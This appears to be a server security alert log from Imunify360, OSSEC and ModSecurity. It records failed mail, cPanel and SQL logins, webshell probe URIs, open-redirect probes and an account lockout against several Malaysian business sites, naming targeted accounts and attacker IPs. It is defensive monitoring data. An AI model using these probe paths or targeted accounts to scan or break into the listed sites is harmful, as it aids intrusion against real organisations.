rule: 13001
name: Exim Auth failed
abuser: 122.187.226.240
country_id: 1269750
description:
2026-01-30 20:47:33 dovecot_login authenticator failed for H=(nsg-corporate-240.226.187.122.airtel.in) [122.187.226.240]:43985: 535 Incorrect authentication data (set_id=notifications@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.252.10.4
country_id: 1835841
description:
2026-01-30 20:47:45 dovecot_login authenticator failed for H=([203.252.10.4]) [203.252.10.4]:48280: 535 Incorrect authentication data (set_id=notifications)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 47.52.166.93
country_id: 1819730
description:
2026-01-30 20:48:24 dovecot_login authenticator failed for H=(ADMIN) [47.52.166.93]:51338: 535 Incorrect authentication data (set_id=info@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.183.103.121
country_id: 2635167
description:
2026-01-30 20:50:17 dovecot_login authenticator failed for H=(185-183-103-121.xdsl.5gdsl.com) [185.183.103.121]:33892: 535 Incorrect authentication data (set_id=ysl@ajplantations.com.my)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 94.156.152.152
country_id: 732800
description:
2026-01-30 20:50:34 H=([94.156.152.152]) [94.156.152.152]:56111 F=<altawashtrading_15@yahoo.com> rejected RCPT <stevenng@fkr.com.my>: Mail to stevenng@fkr.com.my has been suspended


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.168.113.8
country_id: 3469034
description:
[2026-01-30 20:50:59 +0800] info [cpaneld] 45.168.113.8 - tujuseti "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tujuseti (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 202.178.120.157
country_id: 1831722
description:
[2026-01-30 20:52:33 +0800] info [cpaneld] 202.178.120.157 - nexus2019 "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.19.216.66
country_id: 1269750
description:
2026-01-30 20:52:57 dovecot_login authenticator failed for H=([182.66.234.193]) [125.19.216.66]:59970: 535 Incorrect authentication data (set_id=notifications@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 189.113.185.14
country_id: 3469034
description:
2026-01-30 20:53:10 dovecot_login authenticator failed for H=([189.113.185.14]) [189.113.185.14]:39997: 535 Incorrect authentication data (set_id=notifications)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.153.8
country_id: 1733045
description:
2026-01-30 20:53:57 dovecot_login authenticator failed for H=([49.124.153.8]) [49.124.153.8]:47054: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 180.250.44.123
country_id: 1643084
description:
[2026-01-30 20:54:29 +0800] info [cpaneld] 180.250.44.123 - adssadadsa "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user adssadadsa (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.99.89.74
country_id: 1835841
description:
2026-01-30 20:55:00 dovecot_login authenticator failed for H=([183.99.89.74]) [183.99.89.74]:43942: 535 Incorrect authentication data (set_id=hafizi)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.212.225.99
country_id: 1835841
description:
2026-01-30 20:55:00 dovecot_login authenticator failed for H=([1.212.225.99]) [1.212.225.99]:47456: 535 Incorrect authentication data (set_id=hafizi@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 112.98.177.66
country_id: 1814991
description:
2026-01-30 20:55:00 dovecot_login authenticator failed for H=([112.98.177.66]) [112.98.177.66]:41370: 535 Incorrect authentication data (set_id=mail.urban.myexport)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.222.54
country_id: 1269750
description:
2026-01-30 20:54:07 dovecot_login authenticator failed for H=(nsg-corporate-54.222.187.122.airtel.in) [122.187.222.54]:59324: 535 Incorrect authentication data (set_id=www.facebook.comrnd)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.53.15.56
country_id: 2542007
description:
2026-01-30 20:54:42 dovecot_login authenticator failed for H=([102.53.15.56]) [102.53.15.56]:36192: 535 Incorrect authentication data (set_id=hafizi@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 37.57.69.227
country_id: 690791
description:
2026-01-30 20:54:43 dovecot_login authenticator failed for H=([37.57.69.227]) [37.57.69.227]:57144: 535 Incorrect authentication data (set_id=hafizi@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.176.122
country_id: 1269750
description:
2026-01-30 20:54:48 dovecot_login authenticator failed for H=([59.145.84.169]) [182.95.176.122]:32914: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.150.135.19
country_id: 690791
description:
2026-01-30 20:55:01 dovecot_login authenticator failed for H=(19.135.150.178.triolan.net) [178.150.135.19]:20714: 535 Incorrect authentication data (set_id=hafizi)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.228.113.27
country_id: 1835841
description:
2026-01-30 20:55:30 dovecot_login authenticator failed for H=([211.228.113.27]) [211.228.113.27]:55397: 535 Incorrect authentication data (set_id=hafizi)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 118.91.176.243
country_id: 1269750
description:
2026-01-30 20:56:40 dovecot_login authenticator failed for H=([118.91.176.243]) [118.91.176.243]:47849: 535 Incorrect authentication data (set_id=ysl@ajplantations.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.179.109.135
country_id: 1562822
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=31521514876508 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.26.95.126
country_id: 1814991
description:
2026-01-30 20:56:33 dovecot_login authenticator failed for H=([111.26.95.126]) [111.26.95.126]:48464: 535 Incorrect authentication data (set_id=notifications@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.185.146.166
country_id: 1269750
description:
2026-01-30 20:56:46 dovecot_login authenticator failed for H=([125.19.175.250]) [122.185.146.166]:55666: 535 Incorrect authentication data (set_id=notifications)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.56.40.171
country_id: 1269750
domain: oxbold.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:56823.oxbold.com||ServerName:oxbold.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:b49b956e664f607f3b7a00bc67070816db69ef7a||Title:0x188360f1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.223.168.28
country_id: 2963597
domain: ajresorts.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/assets/images/index.php||SC:/home2/ajresortscom/public_html/assets||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.144.7
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/images/portfolio/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/career.php||SC:/home/sutsbcom/public_html/images||


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 216.126.239.87
country_id: 6252001
domain: ajplantations.com.my
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x06_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/122.0.6261.94 Safari/937.36||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.223.168.28
country_id: 2963597
domain: ajresorts.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/wp-admin/images/file.php||SC:/home2/ajresortscom/public_html/wp-admin||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 5.189.59.238
country_id: 2017370
description:
2026-01-30 20:59:11 dovecot_login authenticator failed for H=(5.189.59.238-fttb.planeta.tc) [5.189.59.238]:57816: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.188.187.21
country_id: 337996
description:
2026-01-30 20:59:21 dovecot_login authenticator failed for H=([196.188.187.21]) [196.188.187.21]:37512: 535 Incorrect authentication data (set_id=aziz)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 188.124.139.77
country_id: 3144096
description:
2026-01-30 20:59:14 dovecot_login authenticator failed for H=([188.124.139.77]) [188.124.139.77]:46857: 535 Incorrect authentication data (set_id=aziz@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 110.25.107.43
country_id: 1668284
description:
2026-01-30 20:59:20 dovecot_login authenticator failed for H=110-25-107-43.adsl.fetnet.net [110.25.107.43]:56154: 535 Incorrect authentication data (set_id=msc.einvoice)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.136.174
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/images/cdn-cgi/l/products.php||SC:/home/sutsbcom/public_html/images||


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 185.117.225.14
country_id: 2264397
domain: www.snymetalstamping.com
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/123.0.6312.86 Safari/537.36||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 83.239.0.202
country_id: 2017370
description:
2026-01-30 21:01:40 dovecot_login authenticator failed for H=([83.239.0.202]) [83.239.0.202]:58196: 535 Incorrect authentication data (set_id=aziz)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.161.216.220
country_id: 1562822
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=599376 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.55.237.165
country_id: 1562822
description:
2026-01-30 21:01:26 dovecot_login authenticator failed for H=([1.55.237.165]) [1.55.237.165]:45004: 535 Incorrect authentication data (set_id=aziz@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.171.148.190
country_id: 1733045
description:
2026-01-30 21:01:34 dovecot_login authenticator failed for H=([183.171.148.190]) [183.171.148.190]:54124: 535 Incorrect authentication data (set_id=marketing@smartcable.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 36.135.100.48
country_id: 1814991
description:
2026-01-30 21:01:58 dovecot_login authenticator failed for H=([36.135.100.47]) [36.135.100.48]:36774: 535 Incorrect authentication data (set_id=marketing@smartcable.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.143.119
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/residential/img/press.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 37.186.71.254
country_id: 174982
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=15211514884198 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 46.151.182.186
country_id: 2750405
description:
2026-01-30 21:02:58 1043936 [Warning] Aborted connection 1043936 to db: 'unconnected' user: 'unauthenticated' host: '46.151.182.186' (This connection closed normally without authentication)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 46.151.182.186
country_id: 2750405
description:
2026-01-30 21:03:47 1043955 [Warning] Aborted connection 1043955 to db: 'unconnected' user: 'unauthenticated' host: '46.151.182.186' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 35.130.111.98
country_id: 6252001
description:
2026-01-30 21:03:50 dovecot_login authenticator failed for H=syn-035-130-111-098.biz.spectrum.com [35.130.111.98]:37842: 535 Incorrect authentication data (set_id=amir@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 91.92.41.39
country_id: 732800
description:
2026-01-30 21:03:34 dovecot_plain authenticator failed for H=([91.92.41.39]) [91.92.41.39]:56069: 535 Incorrect authentication data (set_id=itdept@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.250.227.8
country_id: 149590
description:
2026-01-30 21:03:54 dovecot_plain authenticator failed for H=(6LCBR6) [197.250.227.8]:9641: 535 Incorrect authentication data (set_id=aipeng@fimco.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 173.25.186.130
country_id: 6252001
description:
2026-01-30 21:03:59 dovecot_login authenticator failed for H=(173-25-186-130.client.mchsi.com) [173.25.186.130]:50510: 535 Incorrect authentication data (set_id=amir)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 105.157.137.165
country_id: 2542007
description:
2026-01-30 21:03:37 dovecot_plain authenticator failed for H=([192.168.1.41]) [105.157.137.165]:53627: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.155.44
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/residential/img/druma_photos/contact.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 173.244.56.134
country_id: 6252001
description:
2026-01-30 21:04:57 dovecot_login authenticator failed for H=(ADMIN) [173.244.56.134]:37989: 535 Incorrect authentication data (set_id=info@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.250.227.8
country_id: 149590
description:
2026-01-30 21:04:01 dovecot_login authenticator failed for H=(6LCBR6) [197.250.227.8]:9641: 535 Incorrect authentication data (set_id=aipeng@fimco.com.my)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 180.250.44.123
country_id: 1643084
description:
[2026-01-30 21:04:20 +0800] info [cpaneld] 180.250.44.123 - adssadadsa "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user adssadadsa (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 91.92.41.39
country_id: 732800
description:
2026-01-30 21:04:04 dovecot_plain authenticator failed for H=([91.92.41.39]) [91.92.41.39]:57438: 535 Incorrect authentication data (set_id=itdept@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 173.244.56.134
country_id: 6252001
description:
2026-01-30 21:05:03 dovecot_login authenticator failed for H=(ADMIN) [173.244.56.134]:37644: 535 Incorrect authentication data (set_id=dsc_team@dsc-expat.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.143.119
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/index.php/images/video.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: modsec
rule: 77556976
name: IM360 WAF: Malformed URI Open Redirect Probe Detected
abuser: 106.228.3.70
country_id: 1814991
domain: pftfood.com
description:


plugin: modsec
rule: 77556976
name: IM360 WAF: Malformed URI Open Redirect Probe Detected
abuser: 117.43.184.21
country_id: 1814991
domain: pftfood.com
description:


plugin: modsec
rule: 77556976
name: IM360 WAF: Malformed URI Open Redirect Probe Detected
abuser: 182.85.175.127
country_id: 1814991
domain: pftfood.com
description:


plugin: modsec
rule: 77556976
name: IM360 WAF: Malformed URI Open Redirect Probe Detected
abuser: 106.228.6.118
country_id: 1814991
domain: pftfood.com
description:


plugin: modsec
rule: 77556976
name: IM360 WAF: Malformed URI Open Redirect Probe Detected
abuser: 220.175.85.168
country_id: 1814991
domain: pftfood.com
description:


plugin: modsec
rule: 77556976
name: IM360 WAF: Malformed URI Open Redirect Probe Detected
abuser: 115.153.10.230
country_id: 1814991
domain: pftfood.com
description:


plugin: modsec
rule: 77556976
name: IM360 WAF: Malformed URI Open Redirect Probe Detected
abuser: 182.96.164.18
country_id: 1814991
domain: pftfood.com
description:


plugin: modsec
rule: 77556976
name: IM360 WAF: Malformed URI Open Redirect Probe Detected
abuser: 59.62.64.199
country_id: 1814991
domain: pftfood.com
description:


plugin: modsec
rule: 77556976
name: IM360 WAF: Malformed URI Open Redirect Probe Detected
abuser: 182.87.92.222
country_id: 1814991
domain: pftfood.com
description:


plugin: modsec
rule: 77556976
name: IM360 WAF: Malformed URI Open Redirect Probe Detected
abuser: 182.96.164.172
country_id: 1814991
domain: pftfood.com
description:


plugin: modsec
rule: 77556976
name: IM360 WAF: Malformed URI Open Redirect Probe Detected
abuser: 182.96.54.77
country_id: 1814991
domain: pftfood.com
description:


plugin: modsec
rule: 77556976
name: IM360 WAF: Malformed URI Open Redirect Probe Detected
abuser: 182.96.162.118
country_id: 1814991
domain: pftfood.com
description:


plugin: modsec
rule: 77556976
name: IM360 WAF: Malformed URI Open Redirect Probe Detected
abuser: 59.62.67.240
country_id: 1814991
domain: pftfood.com
description:


plugin: modsec
rule: 77556976
name: IM360 WAF: Malformed URI Open Redirect Probe Detected
abuser: 220.175.85.187
country_id: 1814991
domain: pftfood.com
description:


plugin: modsec
rule: 77556976
name: IM360 WAF: Malformed URI Open Redirect Probe Detected
abuser: 182.96.52.135
country_id: 1814991
domain: pftfood.com
description:


plugin: modsec
rule: 77556976
name: IM360 WAF: Malformed URI Open Redirect Probe Detected
abuser: 117.43.184.10
country_id: 1814991
domain: pftfood.com
description:


plugin: modsec
rule: 77556976
name: IM360 WAF: Malformed URI Open Redirect Probe Detected
abuser: 106.4.174.107
country_id: 1814991
domain: pftfood.com
description:


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.227.148.78
country_id: 1562822
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=471602 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.163.115.111
country_id: 1562822
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-category.php?id=5&sub=29 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 46.151.182.186
country_id: 2750405
description:
2026-01-30 21:07:10 1044103 [Warning] Aborted connection 1044103 to db: 'unconnected' user: 'unauthenticated' host: '46.151.182.186' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 73.137.7.97
country_id: 6252001
description:
2026-01-30 21:08:13 dovecot_plain authenticator failed for H=c-73-137-7-97.hsd1.ga.comcast.net (quint) [73.137.7.97]:47598: 535 Incorrect authentication data (set_id=garylee@autogreastar.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.232.70.190
country_id: 1562822
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=13701514857901 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 172.213.25.189
country_id: 3175395
domain: medinova.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/wp-admin/images/commentv.php||SC:/home/medinovacom/public_html/wp-admin||


plugin: modsec
rule: 77141095
name: IM360 WAF: Track spam in PrestaShop
abuser: 62.60.244.206
country_id: 2750405
domain: www.modern.com.my
description:
IM360 WAF: Track spam in PrestaShop||RSV:7.71||T:APACHE||MVN:REQUEST_FILENAME||MV:/home/contact-us/||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 172.213.25.189
country_id: 3175395
domain: medinova.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/wp-admin/images/index.php||SC:/home/medinovacom/public_html/wp-admin||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.199.113.235
country_id: 3017382
domain: www.appointment.visoft.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/wp-admin/images/commentv.php||SC:/home/visoftcom/appointment.visoft.com.my/wp-admin||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.184.167.21
country_id: 953987
description:
2026-01-30 21:12:00 dovecot_plain authenticator failed for H=(6LCBR6) [197.184.167.21]:34181: 535 Incorrect authentication data (set_id=abhan@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.184.167.21
country_id: 953987
description:
2026-01-30 21:12:07 dovecot_login authenticator failed for H=(6LCBR6) [197.184.167.21]:34181: 535 Incorrect authentication data (set_id=abhan@euratech.com.my)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 180.250.44.123
country_id: 1643084
description:
[2026-01-30 21:13:44 +0800] info [cpaneld] 180.250.44.123 - adssadadsa "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user adssadadsa (has_cpuser_file failed)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 189.144.209.61
country_id: 3996063
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=299091 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 207.188.158.216
country_id: 2510769
description:
2026-01-30 21:17:26 dovecot_login authenticator failed for H=([207.188.158.216]) [207.188.158.216]:44590: 535 Incorrect authentication data (set_id=jobstore.comchew@nexuscollection.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.136.174
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/question-some-questions-about-on-line-information/images/sliders/products.php||SC:/home/sutsbcom/public_html/question-some-questions-about-on-line-information||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-30 21:18:08 dovecot_login authenticator failed for H=(cpIkpF) [178.16.54.22]:54629: 535 Incorrect authentication data (set_id=alanlai)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.195.23.59
country_id: 1269750
description:
2026-01-30 21:19:19 dovecot_plain authenticator failed for H=(LF21D45A3WC8) [117.195.23.59]:50310: 535 Incorrect authentication data (set_id=rohaidaak@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-30 21:19:22 dovecot_login authenticator failed for H=(N1Pi1SwR9q) [178.16.54.22]:59874: 535 Incorrect authentication data (set_id=alanlai)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 105.158.148.68
country_id: 2542007
description:
2026-01-30 21:20:00 dovecot_plain authenticator failed for H=(T8FWR3M6R) [105.158.148.68]:55090: 535 Incorrect authentication data (set_id=abhan@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-30 21:20:11 dovecot_login authenticator failed for H=(8OFS1IYg) [178.16.54.22]:55500: 535 Incorrect authentication data (set_id=alanlai)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.146.179
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/portfolio/img/img/img/img/news.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 105.158.148.68
country_id: 2542007
description:
2026-01-30 21:20:06 dovecot_login authenticator failed for H=(T8FWR3M6R) [105.158.148.68]:55090: 535 Incorrect authentication data (set_id=abhan@euratech.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 168.205.7.83
country_id: 3996063
domain: www.cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cabe.com.my/product-detail.php?id=607507 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.144.64
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/portfolio/img/img/demos/img/img/index.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-30 21:21:24 dovecot_login authenticator failed for H=(88B6RE) [178.16.54.22]:61197: 535 Incorrect authentication data (set_id=alanlai)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.72.169.167
country_id: 2233387
description:
2026-01-30 21:21:48 dovecot_plain authenticator failed for H=(AM2GM97U1Z7) [154.72.169.167]:18839: 535 Incorrect authentication data (set_id=rnd@plomalite.com)


plugin: modsec
rule: 77556976
name: IM360 WAF: Malformed URI Open Redirect Probe Detected
abuser: 59.53.33.147
country_id: 1814991
domain: oxbold.com
description:


plugin: modsec
rule: 77556976
name: IM360 WAF: Malformed URI Open Redirect Probe Detected
abuser: 182.96.164.208
country_id: 1814991
domain: oxbold.com
description:


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.228.102
country_id: 1269750
description:
2026-01-30 21:22:48 dovecot_login authenticator failed for H=(nsg-corporate-9.90.186.122.airtel.in) [182.95.228.102]:36370: 535 Incorrect authentication data (set_id=zainuddin@astlog.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.169.212.206
country_id: 1835841
description:
2026-01-30 21:23:00 dovecot_login authenticator failed for H=([211.169.212.206]) [211.169.212.206]:55338: 535 Incorrect authentication data (set_id=zainuddin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 188.72.74.130
country_id: 2017370
description:
2026-01-30 21:22:03 dovecot_login authenticator failed for H=([188.72.74.130]) [188.72.74.130]:49702: 535 Incorrect authentication data (set_id=jobstore.comchew@nexuscollection.com)


plugin: modsec
rule: 77556976
name: IM360 WAF: Malformed URI Open Redirect Probe Detected
abuser: 220.175.80.115
country_id: 1814991
domain: oxbold.com
description:


plugin: modsec
rule: 77556976
name: IM360 WAF: Malformed URI Open Redirect Probe Detected
abuser: 182.96.164.161
country_id: 1814991
domain: oxbold.com
description:


plugin: modsec
rule: 77556976
name: IM360 WAF: Malformed URI Open Redirect Probe Detected
abuser: 182.85.175.127
country_id: 1814991
domain: oxbold.com
description:


plugin: modsec
rule: 77556976
name: IM360 WAF: Malformed URI Open Redirect Probe Detected
abuser: 182.98.61.61
country_id: 1814991
domain: oxbold.com
description:


plugin: modsec
rule: 77556976
name: IM360 WAF: Malformed URI Open Redirect Probe Detected
abuser: 106.228.53.210
country_id: 1814991
domain: oxbold.com
description:


plugin: modsec
rule: 77556976
name: IM360 WAF: Malformed URI Open Redirect Probe Detected
abuser: 106.5.168.118
country_id: 1814991
domain: oxbold.com
description:


plugin: modsec
rule: 77556976
name: IM360 WAF: Malformed URI Open Redirect Probe Detected
abuser: 106.228.35.11
country_id: 1814991
domain: oxbold.com
description:


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.22
country_id: 2750405
description:
Jan 30 21:22:12 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account alanlai has been locked for the attacker IP 178.16.54.22


plugin: modsec
rule: 77556976
name: IM360 WAF: Malformed URI Open Redirect Probe Detected
abuser: 117.43.191.238
country_id: 1814991
domain: oxbold.com
description:


plugin: modsec
